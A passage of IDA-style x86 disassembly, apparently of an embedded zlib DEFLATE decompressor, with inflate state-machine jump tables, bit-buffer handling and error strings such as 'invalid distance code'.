--------------------------------------------------------------------------- loc_4DC28C: ; CODE XREF: sub_4DBC4B+64j mov eax, [ebp+arg_4] mov [ebx+20h], esi mov [ebx+1Ch], edi and dword ptr [eax+4], 0 loc_4DC299: ; CODE XREF: sub_4DBC4B+6C1j mov ecx, edx sub ecx, [eax] mov [eax], edx add [eax+8], ecx jmp loc_4DC38C ; --------------------------------------------------------------------------- loc_4DC2A7: ; CODE XREF: sub_4DBC4B+A7j mov eax, [ebp+arg_4] mov dword ptr [ebx], 9 shr esi, 3 add edi, 0FFFFFFFDh mov dword ptr [eax+18h], offset aInvalidBlockTy ; "invalid block type" mov [ebx+20h], esi mov [ebx+1Ch], edi loc_4DC2C3: ; CODE XREF: sub_4DBC4B+6D9j mov ecx, [ebp+var_8] mov [eax+4], ecx mov ecx, edx sub ecx, [eax] mov [eax], edx add [eax+8], ecx jmp loc_4DC546 ; --------------------------------------------------------------------------- loc_4DC2D7: ; CODE XREF: sub_4DBC4B+F5j mov eax, [ebp+var_4] mov [ebx+20h], esi mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [edi+4], eax mov eax, [ebp+var_10] mov ecx, eax push 0FFFFFFFCh sub ecx, [edi] mov [edi], eax mov eax, [ebp+var_C] push edi add [edi+8], ecx mov [ebx+34h], eax jmp loc_4DC57A ; --------------------------------------------------------------------------- loc_4DC300: ; CODE XREF: sub_4DBC4B+143j mov eax, [ebp+arg_4] mov [ebx+20h], esi mov [ebx+1Ch], ecx mov [eax+4], edi jmp short loc_4DC299 ; --------------------------------------------------------------------------- loc_4DC30E: ; CODE XREF: sub_4DBC4B+177j mov eax, [ebp+arg_4] mov dword ptr [ebx], 9 mov dword ptr [eax+18h], offset aInvalidStoredB ; "invalid stored block lengths" mov [ebx+20h], esi mov [ebx+1Ch], ecx jmp short loc_4DC2C3 ; --------------------------------------------------------------------------- loc_4DC326: ; CODE XREF: sub_4DBC4B+1A7j mov eax, [ebp+arg_0] mov ecx, [ebp+var_10] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] mov edx, ecx sub edx, [eax] and dword ptr [eax+4], 0 mov [eax], ecx add [eax+8], edx jmp short loc_4DC38C ; --------------------------------------------------------------------------- loc_4DC347: ; CODE XREF: sub_4DBC4B+242j mov eax, [ebp+arg_0] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_10] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [ebx+34h], edx loc_4DC368: ; CODE XREF: sub_4DBC4B+806j push [ebp+arg_8] jmp loc_4DC522 ; --------------------------------------------------------------------------- loc_4DC370: ; CODE XREF: sub_4DBC4B+29Cj mov eax, [ebp+arg_0] mov ecx, edi mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] sub ecx, [eax] and dword ptr [eax+4], 0 mov [eax], edi add [eax+8], ecx loc_4DC38C: ; CODE XREF: sub_4DBC4B+657j ; sub_4DBC4B+6FAj mov ecx, [ebp+var_C] push [ebp+arg_8] mov [ebx+34h], ecx jmp loc_4DC579 ; --------------------------------------------------------------------------- loc_4DC39A: ; CODE XREF: sub_4DBC4B+30Bj ; sub_4DBC4B+596j mov eax, [ebp+arg_0] push 0FFFFFFFCh mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_4DC522 ; --------------------------------------------------------------------------- loc_4DC3C2: ; CODE XREF: sub_4DBC4B+2D0j ; sub_4DBC4B+2E4j mov eax, [ebp+arg_4] mov ecx, [ebp+arg_0] mov dword ptr [ebx], 9 mov dword ptr [eax+18h], offset aTooManyLengthO ; "too many length or distance symbols" mov [ebx+20h], ecx mov ecx, [ebp+var_4] mov [ebx+1Ch], ecx mov ecx, [ebp+var_8] mov [eax+4], ecx mov ecx, edi sub ecx, [eax] mov [eax], edi add [eax+8], ecx jmp loc_4DC546 ; --------------------------------------------------------------------------- loc_4DC3F2: ; CODE XREF: sub_4DBC4B+3D2j cmp [ebp+var_14], 0FFFFFFFDh loc_4DC3F6: ; CODE XREF: sub_4DBC4B+857j jnz short loc_4DC409 push dword ptr [ebx+0Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] pop ecx mov dword ptr [ebx], 9 pop ecx loc_4DC409: ; CODE XREF: sub_4DBC4B:loc_4DC3F6j mov eax, [ebp+arg_0] push [ebp+var_14] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_4DC522 ; --------------------------------------------------------------------------- loc_4DC432: ; CODE XREF: sub_4DBC4B+345j ; sub_4DBC4B+415j ... mov eax, [ebp+arg_0] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax and dword ptr [esi+4], 0 mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax jmp loc_4DC368 ; --------------------------------------------------------------------------- loc_4DC456: ; CODE XREF: sub_4DBC4B+4F9j ; sub_4DBC4B+508j push dword ptr [ebx+0Ch] push dword ptr [esi+28h] call dword ptr [esi+24h] mov eax, [ebp+arg_0] mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidBitLeng ; "invalid bit length repeat" mov [ebx+20h], eax mov eax, [ebp+var_4] push 0FFFFFFFDh mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] push esi mov [esi], edi push ebx add [esi+8], eax mov eax, [ebp+var_C] mov [ebx+34h], eax call sub_4DD8DE add esp, 14h jmp loc_4DC583 ; --------------------------------------------------------------------------- loc_4DC49E: ; CODE XREF: sub_4DBC4B+579j cmp [ebp+var_14], 0FFFFFFFDh jmp loc_4DC3F6 ; --------------------------------------------------------------------------- loc_4DC4A7: ; CODE XREF: sub_4DBC4B+633j mov dword ptr [ebx], 7 jmp short loc_4DC4B8 ; --------------------------------------------------------------------------- loc_4DC4AF: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov edi, [ebp+var_10] ; jumptable 004DBC96 case 7 mov esi, [ebp+arg_4] mov ecx, [ebp+var_C] loc_4DC4B8: ; CODE XREF: sub_4DBC4B+862j push [ebp+arg_8] mov [ebx+34h], ecx push esi push ebx call sub_4DD8DE mov ecx, [ebx+34h] add esp, 0Ch cmp [ebx+30h], ecx jz short loc_4DC4F1 mov edx, [ebp+arg_0] mov [ebx+20h], edx mov edx, [ebp+var_4] mov [ebx+1Ch], edx mov edx, [ebp+var_8] mov [esi+4], edx mov edx, edi sub edx, [esi] mov [esi], edi add [esi+8], edx mov [ebx+34h], ecx loc_4DC4EE: ; CODE XREF: sub_4DBC4B+5E9j push eax jmp short loc_4DC522 ; --------------------------------------------------------------------------- loc_4DC4F1: ; CODE XREF: sub_4DBC4B+883j mov dword ptr [ebx], 8 jmp short loc_4DC502 ; --------------------------------------------------------------------------- loc_4DC4F9: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov edi, [ebp+var_10] ; jumptable 004DBC96 case 8 mov esi, [ebp+arg_4] mov ecx, [ebp+var_C] loc_4DC502: ; CODE XREF: sub_4DBC4B+8ACj mov eax, [ebp+arg_0] push 1 mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, edi sub eax, [esi] mov [esi], edi add [esi+8], eax mov [ebx+34h], ecx loc_4DC522: ; CODE XREF: sub_4DBC4B+720j ; sub_4DBC4B+772j ... push esi jmp short loc_4DC57A ; --------------------------------------------------------------------------- loc_4DC525: ; CODE XREF: sub_4DBC4B+4Bj ; DATA XREF: _4:off_4DC588o mov eax, [ebp+arg_0] ; jumptable 004DBC96 case 9 mov ecx, [ebp+var_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] mov [eax+4], ecx mov ecx, [ebp+var_10] mov edx, ecx sub edx, [eax] mov [eax], ecx add [eax+8], edx loc_4DC546: ; CODE XREF: sub_4DBC4B+687j ; sub_4DBC4B+7A2j mov ecx, [ebp+var_C] push 0FFFFFFFDh mov [ebx+34h], ecx jmp short loc_4DC579 ; --------------------------------------------------------------------------- loc_4DC550: ; CODE XREF: sub_4DBC4B+45j mov eax, [ebp+arg_0] ; default mov ecx, [ebp+var_8] mov [ebx+20h], eax mov eax, [ebp+var_4] mov [ebx+1Ch], eax mov eax, [ebp+arg_4] push 0FFFFFFFEh mov [eax+4], ecx mov ecx, [ebp+var_10] mov edx, ecx sub edx, [eax] mov [eax], ecx mov ecx, [ebp+var_C] add [eax+8], edx mov [ebx+34h], ecx loc_4DC579: ; CODE XREF: sub_4DBC4B+74Aj ; sub_4DBC4B+903j push eax loc_4DC57A: ; CODE XREF: sub_4DBC4B+6B0j ; sub_4DBC4B+8D8j push ebx call sub_4DD8DE add esp, 0Ch loc_4DC583: ; CODE XREF: sub_4DBC4B+84Ej pop edi pop esi pop ebx leave retn sub_4DBC4B endp ; --------------------------------------------------------------------------- off_4DC588 dd offset loc_4DBC9D ; DATA XREF: sub_4DBC4B+4Br dd offset loc_4DBD7B ; jump table for switch statement dd offset loc_4DBDEE dd offset loc_4DBED8 dd offset loc_4DBF70 dd offset loc_4DC02E dd offset loc_4DC1FD dd offset loc_4DC4AF dd offset loc_4DC4F9 dd offset loc_4DC525 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DC5B0 proc near ; CODE XREF: sub_4DCF00+21p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] push 0 push esi push edi call sub_4DBB53 push dword ptr [edi+28h] push dword ptr [esi+28h] call dword ptr [esi+24h] push dword ptr [edi+24h] push dword ptr [esi+28h] call dword ptr [esi+24h] push edi push dword ptr [esi+28h] call dword ptr [esi+24h] add esp, 24h xor eax, eax pop edi pop esi pop ebp retn sub_4DC5B0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DC5E6 proc near ; CODE XREF: sub_4DBC4B+E8p ; sub_4DBC4B+58Cp arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp mov eax, [ebp+arg_10] push 1Ch push 1 push dword ptr [eax+28h] call dword ptr [eax+20h] add esp, 0Ch test eax, eax jz short loc_4DC618 mov cl, [ebp+arg_0] and dword ptr [eax], 0 mov [eax+10h], cl mov cl, [ebp+arg_4] mov [eax+11h], cl mov ecx, [ebp+arg_8] mov [eax+14h], ecx mov ecx, [ebp+arg_C] mov [eax+18h], ecx loc_4DC618: ; CODE XREF: sub_4DC5E6+15j pop ebp retn sub_4DC5E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DC61A proc near ; CODE XREF: sub_4DBC4B+5DEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h push ebx push esi mov esi, [ebp+arg_4] push edi mov edi, [ebp+arg_0] mov eax, [esi] mov [ebp+var_4], eax mov eax, [esi+4] mov edx, [edi+34h] mov [ebp+var_8], eax mov eax, [edi+20h] mov ebx, [edi+4] mov [ebp+arg_4], eax mov eax, [edi+1Ch] mov [ebp+arg_0], eax mov eax, [edi+30h] cmp edx, eax jnb short loc_4DC652 sub eax, edx dec eax jmp short loc_4DC657 ; --------------------------------------------------------------------------- loc_4DC652: ; CODE XREF: sub_4DC61A+31j mov eax, [edi+2Ch] sub eax, edx loc_4DC657: ; CODE XREF: sub_4DC61A+36j mov [ebp+var_C], eax loc_4DC65A: ; CODE XREF: sub_4DC61A+E9j ; sub_4DC61A+16Ej ... mov ecx, [ebx] cmp ecx, 9 ; switch 10 cases ja loc_4DCB7E ; default jmp ds:off_4DCBB0[ecx*4] ; switch jump loc_4DC66C: ; DATA XREF: _4:off_4DCBB0o cmp eax, 102h ; jumptable 004DC665 case 0 jb loc_4DC708 cmp [ebp+var_8], 0Ah jb loc_4DC708 mov eax, [ebp+arg_4] push esi mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax push edi sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx push dword ptr [ebx+18h] movzx eax, byte ptr [ebx+11h] push dword ptr [ebx+14h] push eax movzx eax, byte ptr [ebx+10h] push eax call sub_4DCBEB mov [ebp+arg_8], eax mov eax, [esi] mov [ebp+var_4], eax mov eax, [esi+4] mov edx, [edi+34h] mov [ebp+var_8], eax mov eax, [edi+20h] add esp, 18h mov [ebp+arg_4], eax mov eax, [edi+1Ch] mov [ebp+arg_0], eax mov eax, [edi+30h] cmp edx, eax jnb short loc_4DC6E5 sub eax, edx dec eax jmp short loc_4DC6EA ; --------------------------------------------------------------------------- loc_4DC6E5: ; CODE XREF: sub_4DC61A+C4j mov eax, [edi+2Ch] sub eax, edx loc_4DC6EA: ; CODE XREF: sub_4DC61A+C9j cmp [ebp+arg_8], 0 mov [ebp+var_C], eax jz short loc_4DC708 mov ecx, [ebp+arg_8] dec ecx neg ecx sbb ecx, ecx and ecx, 2 add ecx, 7 mov [ebx], ecx jmp loc_4DC65A ; --------------------------------------------------------------------------- loc_4DC708: ; CODE XREF: sub_4DC61A+57j ; sub_4DC61A+61j ... movzx eax, byte ptr [ebx+10h] mov [ebx+0Ch], eax mov eax, [ebx+14h] mov [ebx+8], eax mov dword ptr [ebx], 1 loc_4DC71B: ; CODE XREF: sub_4DC61A+4Bj ; sub_4DC61A+12Fj ; DATA XREF: ... mov eax, [ebx+0Ch] ; jumptable 004DC665 case 1 cmp [ebp+arg_0], eax jnb short loc_4DC74B cmp [ebp+var_8], 0 jz loc_4DCA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_4DC71B ; jumptable 004DC665 case 1 ; --------------------------------------------------------------------------- loc_4DC74B: ; CODE XREF: sub_4DC61A+107j mov eax, ds:dword_4E0318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] lea eax, [ecx+eax*8] mov [ebp+var_14], eax movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax+1] sub [ebp+arg_0], eax mov eax, [ebp+var_14] shr [ebp+arg_4], cl movzx ecx, byte ptr [eax] test ecx, ecx mov [ebp+var_18], ecx jnz short loc_4DC78D mov eax, [eax+4] mov dword ptr [ebx], 6 mov [ebx+8], eax loc_4DC785: ; CODE XREF: sub_4DC61A+18Dj ; sub_4DC61A+1A7j ... mov eax, [ebp+var_C] jmp loc_4DC65A ; --------------------------------------------------------------------------- loc_4DC78D: ; CODE XREF: sub_4DC61A+15Dj mov ecx, [ebp+var_18] test cl, 10h jz short loc_4DC7A9 and ecx, 0Fh mov [ebx+8], ecx mov eax, [eax+4] mov [ebx+4], eax mov dword ptr [ebx], 2 jmp short loc_4DC785 ; --------------------------------------------------------------------------- loc_4DC7A9: ; CODE XREF: sub_4DC61A+179j test cl, 40h jz loc_4DC89A test cl, 20h jz loc_4DCA9A mov dword ptr [ebx], 7 jmp short loc_4DC785 ; --------------------------------------------------------------------------- loc_4DC7C3: ; CODE XREF: sub_4DC61A+4Bj ; sub_4DC61A+1D7j ; DATA XREF: ... mov eax, [ebx+8] ; jumptable 004DC665 case 2 cmp [ebp+arg_0], eax jnb short loc_4DC7F3 cmp [ebp+var_8], 0 jz loc_4DCA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_4DC7C3 ; jumptable 004DC665 case 2 ; --------------------------------------------------------------------------- loc_4DC7F3: ; CODE XREF: sub_4DC61A+1AFj mov eax, ds:dword_4E0318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] mov dword ptr [ebx], 3 shr [ebp+arg_4], cl add [ebx+4], eax mov eax, ecx sub [ebp+arg_0], eax movzx eax, byte ptr [ebx+11h] mov [ebx+0Ch], eax mov eax, [ebx+18h] mov [ebx+8], eax loc_4DC81E: ; CODE XREF: sub_4DC61A+4Bj ; sub_4DC61A+232j ; DATA XREF: ... mov eax, [ebx+0Ch] ; jumptable 004DC665 case 3 cmp [ebp+arg_0], eax jnb short loc_4DC84E cmp [ebp+var_8], 0 jz loc_4DCA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_4DC81E ; jumptable 004DC665 case 3 ; --------------------------------------------------------------------------- loc_4DC84E: ; CODE XREF: sub_4DC61A+20Aj mov eax, ds:dword_4E0318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] lea eax, [ecx+eax*8] mov [ebp+var_14], eax movzx ecx, byte ptr [eax+1] movzx eax, byte ptr [eax+1] sub [ebp+arg_0], eax mov eax, [ebp+var_14] shr [ebp+arg_4], cl movzx ecx, byte ptr [eax] test cl, 10h jz short loc_4DC891 and ecx, 0Fh mov [ebx+8], ecx mov eax, [eax+4] mov [ebx+0Ch], eax mov dword ptr [ebx], 4 jmp loc_4DC785 ; --------------------------------------------------------------------------- loc_4DC891: ; CODE XREF: sub_4DC61A+25Ej test cl, 40h jnz loc_4DCACF loc_4DC89A: ; CODE XREF: sub_4DC61A+192j mov [ebx+0Ch], ecx mov ecx, [eax+4] lea eax, [eax+ecx*8] mov [ebx+8], eax jmp loc_4DC785 ; --------------------------------------------------------------------------- loc_4DC8AB: ; CODE XREF: sub_4DC61A+4Bj ; sub_4DC61A+2BFj ; DATA XREF: ... mov eax, [ebx+8] ; jumptable 004DC665 case 4 cmp [ebp+arg_0], eax jnb short loc_4DC8DB cmp [ebp+var_8], 0 jz loc_4DCA88 mov eax, [ebp+var_4] mov ecx, [ebp+arg_0] and [ebp+arg_8], 0 dec [ebp+var_8] movzx eax, byte ptr [eax] shl eax, cl or [ebp+arg_4], eax inc [ebp+var_4] add [ebp+arg_0], 8 jmp short loc_4DC8AB ; jumptable 004DC665 case 4 ; --------------------------------------------------------------------------- loc_4DC8DB: ; CODE XREF: sub_4DC61A+297j mov eax, ds:dword_4E0318[eax*4] mov ecx, [ebx+8] and eax, [ebp+arg_4] mov dword ptr [ebx], 5 shr [ebp+arg_4], cl add [ebx+0Ch], eax mov eax, ecx sub [ebp+arg_0], eax loc_4DC8F9: ; CODE XREF: sub_4DC61A+4Bj ; DATA XREF: _4:off_4DCBB0o mov ecx, [edi+28h] ; jumptable 004DC665 case 5 mov eax, edx sub eax, [ebx+0Ch] cmp eax, ecx mov [ebp+var_10], eax jnb short loc_4DC91E mov eax, [edi+2Ch] sub eax, ecx mov [ebp+var_18], eax loc_4DC910: ; CODE XREF: sub_4DC61A+302j mov eax, [ebp+var_10] add eax, [ebp+var_18] cmp eax, [edi+28h] mov [ebp+var_10], eax jb short loc_4DC910 loc_4DC91E: ; CODE XREF: sub_4DC61A+2ECj cmp dword ptr [ebx+4], 0 mov eax, [ebp+var_C] jz loc_4DC9E3 loc_4DC92B: ; CODE XREF: sub_4DC61A+3C3j test eax, eax jnz loc_4DC9B9 mov eax, [edi+2Ch] cmp edx, eax mov [ebp+var_14], eax jnz short loc_4DC95B mov eax, [edi+30h] mov ecx, [edi+28h] cmp eax, ecx jz short loc_4DC95B mov edx, ecx cmp edx, eax jnb short loc_4DC952 sub eax, edx dec eax jmp short loc_4DC957 ; --------------------------------------------------------------------------- loc_4DC952: ; CODE XREF: sub_4DC61A+331j mov eax, [ebp+var_14] sub eax, edx loc_4DC957: ; CODE XREF: sub_4DC61A+336j test eax, eax jnz short loc_4DC9B9 loc_4DC95B: ; CODE XREF: sub_4DC61A+321j ; sub_4DC61A+32Bj push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_4DD8DE mov edx, [edi+34h] mov [ebp+arg_8], eax mov eax, [edi+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_18], eax jnb short loc_4DC980 sub eax, edx dec eax jmp short loc_4DC985 ; --------------------------------------------------------------------------- loc_4DC980: ; CODE XREF: sub_4DC61A+35Fj mov eax, [edi+2Ch] sub eax, edx loc_4DC985: ; CODE XREF: sub_4DC61A+364j mov ecx, [edi+2Ch] mov [ebp+var_C], eax cmp edx, ecx mov [ebp+var_14], ecx jnz short loc_4DC9B1 mov ecx, [edi+28h] mov eax, [ebp+var_18] cmp eax, ecx jz short loc_4DC9AE mov edx, ecx cmp edx, eax jnb short loc_4DC9A7 sub eax, edx dec eax jmp short loc_4DC9B1 ; --------------------------------------------------------------------------- loc_4DC9A7: ; CODE XREF: sub_4DC61A+386j mov eax, [ebp+var_14] sub eax, edx jmp short loc_4DC9B1 ; --------------------------------------------------------------------------- loc_4DC9AE: ; CODE XREF: sub_4DC61A+380j mov eax, [ebp+var_C] loc_4DC9B1: ; CODE XREF: sub_4DC61A+376j ; sub_4DC61A+38Bj ... test eax, eax jz loc_4DCADE loc_4DC9B9: ; CODE XREF: sub_4DC61A+313j ; sub_4DC61A+33Fj mov ecx, [ebp+var_10] and [ebp+arg_8], 0 mov cl, [ecx] mov [edx], cl inc edx inc [ebp+var_10] dec eax mov ecx, [ebp+var_10] mov [ebp+var_C], eax cmp ecx, [edi+2Ch] jnz short loc_4DC9DA mov ecx, [edi+28h] mov [ebp+var_10], ecx loc_4DC9DA: ; CODE XREF: sub_4DC61A+3B8j dec dword ptr [ebx+4] jnz loc_4DC92B loc_4DC9E3: ; CODE XREF: sub_4DC61A+30Bj ; sub_4DC61A+469j and dword ptr [ebx], 0 jmp loc_4DC65A ; --------------------------------------------------------------------------- loc_4DC9EB: ; CODE XREF: sub_4DC61A+4Bj ; DATA XREF: _4:off_4DCBB0o test eax, eax ; jumptable 004DC665 case 6 jnz loc_4DCA75 mov eax, [edi+2Ch] cmp edx, eax mov [ebp+var_14], eax jnz short loc_4DCA1B mov eax, [edi+30h] mov ecx, [edi+28h] cmp eax, ecx jz short loc_4DCA1B mov edx, ecx cmp edx, eax jnb short loc_4DCA12 sub eax, edx dec eax jmp short loc_4DCA17 ; --------------------------------------------------------------------------- loc_4DCA12: ; CODE XREF: sub_4DC61A+3F1j mov eax, [ebp+var_14] sub eax, edx loc_4DCA17: ; CODE XREF: sub_4DC61A+3F6j test eax, eax jnz short loc_4DCA75 loc_4DCA1B: ; CODE XREF: sub_4DC61A+3E1j ; sub_4DC61A+3EBj push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_4DD8DE mov edx, [edi+34h] mov [ebp+arg_8], eax mov eax, [edi+30h] add esp, 0Ch cmp edx, eax mov [ebp+var_18], eax jnb short loc_4DCA40 sub eax, edx dec eax jmp short loc_4DCA45 ; --------------------------------------------------------------------------- loc_4DCA40: ; CODE XREF: sub_4DC61A+41Fj mov eax, [edi+2Ch] sub eax, edx loc_4DCA45: ; CODE XREF: sub_4DC61A+424j mov ecx, [edi+2Ch] mov [ebp+var_C], eax cmp edx, ecx mov [ebp+var_14], ecx jnz short loc_4DCA71 mov ecx, [edi+28h] mov eax, [ebp+var_18] cmp eax, ecx jz short loc_4DCA6E mov edx, ecx cmp edx, eax jnb short loc_4DCA67 sub eax, edx dec eax jmp short loc_4DCA71 ; --------------------------------------------------------------------------- loc_4DCA67: ; CODE XREF: sub_4DC61A+446j mov eax, [ebp+var_14] sub eax, edx jmp short loc_4DCA71 ; --------------------------------------------------------------------------- loc_4DCA6E: ; CODE XREF: sub_4DC61A+440j mov eax, [ebp+var_C] loc_4DCA71: ; CODE XREF: sub_4DC61A+436j ; sub_4DC61A+44Bj ... test eax, eax jz short loc_4DCADE loc_4DCA75: ; CODE XREF: sub_4DC61A+3D3j ; sub_4DC61A+3FFj mov cl, [ebx+8] and [ebp+arg_8], 0 mov [edx], cl inc edx dec eax mov [ebp+var_C], eax jmp loc_4DC9E3 ; --------------------------------------------------------------------------- loc_4DCA88: ; CODE XREF: sub_4DC61A+10Dj ; sub_4DC61A+1B5j ... mov eax, [ebp+arg_4] mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax and dword ptr [esi+4], 0 jmp short loc_4DCAF0 ; --------------------------------------------------------------------------- loc_4DCA9A: ; CODE XREF: sub_4DC61A+19Bj mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidLiteral ; "invalid literal/length code" loc_4DCAA7: ; CODE XREF: sub_4DC61A+4Bj ; sub_4DC61A+4C2j ; DATA XREF: ... mov eax, [ebp+arg_4] ; jumptable 004DC665 case 9 push 0FFFFFFFDh mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp loc_4DCBA1 ; --------------------------------------------------------------------------- loc_4DCACF: ; CODE XREF: sub_4DC61A+27Aj mov dword ptr [ebx], 9 mov dword ptr [esi+18h], offset aInvalidDistanc ; "invalid distance code" jmp short loc_4DCAA7 ; jumptable 004DC665 case 9 ; --------------------------------------------------------------------------- loc_4DCADE: ; CODE XREF: sub_4DC61A+399j ; sub_4DC61A+459j mov eax, [ebp+arg_4] mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax loc_4DCAF0: ; CODE XREF: sub_4DC61A+47Ej mov eax, [ebp+var_4] push [ebp+arg_8] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp loc_4DCBA1 ; --------------------------------------------------------------------------- loc_4DCB07: ; CODE XREF: sub_4DC61A+4Bj ; DATA XREF: _4:off_4DCBB0o cmp [ebp+arg_0], 7 ; jumptable 004DC665 case 7 jbe short loc_4DCB17 sub [ebp+arg_0], 8 inc [ebp+var_8] dec [ebp+var_4] loc_4DCB17: ; CODE XREF: sub_4DC61A+4F1j push [ebp+arg_8] mov [edi+34h], edx push esi push edi call sub_4DD8DE mov edx, [edi+34h] add esp, 0Ch cmp [edi+30h], edx jz short loc_4DCB53 mov ecx, [ebp+arg_4] push eax mov [edi+20h], ecx mov ecx, [ebp+arg_0] mov [edi+1Ch], ecx mov ecx, [ebp+var_8] mov [esi+4], ecx mov ecx, [ebp+var_4] mov ebx, ecx sub ebx, [esi] mov [esi], ecx add [esi+8], ebx mov [edi+34h], edx jmp short loc_4DCBA1 ; --------------------------------------------------------------------------- loc_4DCB53: ; CODE XREF: sub_4DC61A+513j mov dword ptr [ebx], 8 loc_4DCB59: ; CODE XREF: sub_4DC61A+4Bj ; DATA XREF: _4:off_4DCBB0o mov eax, [ebp+arg_4] ; jumptable 004DC665 case 8 push 1 mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx jmp short loc_4DCBA1 ; --------------------------------------------------------------------------- loc_4DCB7E: ; CODE XREF: sub_4DC61A+45j mov eax, [ebp+arg_4] ; default push 0FFFFFFFEh mov [edi+20h], eax mov eax, [ebp+arg_0] mov [edi+1Ch], eax mov eax, [ebp+var_8] mov [esi+4], eax mov eax, [ebp+var_4] mov ecx, eax sub ecx, [esi] mov [esi], eax add [esi+8], ecx mov [edi+34h], edx loc_4DCBA1: ; CODE XREF: sub_4DC61A+4B0j ; sub_4DC61A+4E8j ... push esi push edi call sub_4DD8DE add esp, 0Ch pop edi pop esi pop ebx leave retn sub_4DC61A endp ; --------------------------------------------------------------------------- off_4DCBB0 dd offset loc_4DC66C ; DATA XREF: sub_4DC61A+4Br dd offset loc_4DC71B ; jump table for switch statement dd offset loc_4DC7C3 dd offset loc_4DC81E dd offset loc_4DC8AB dd offset loc_4DC8F9 dd offset loc_4DC9EB dd offset loc_4DCB07 dd offset loc_4DCB59 dd offset loc_4DCAA7 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DCBD8 proc near ; CODE XREF: sub_4DBB53+3Ap ; sub_4DBC4B+5F7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push [ebp+arg_0] mov eax, [ebp+arg_4] push dword ptr [eax+28h] call dword ptr [eax+24h] pop ecx pop ecx pop ebp retn sub_4DCBD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4DCBEB proc near ; CODE XREF: sub_4DC61A+9Ap var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 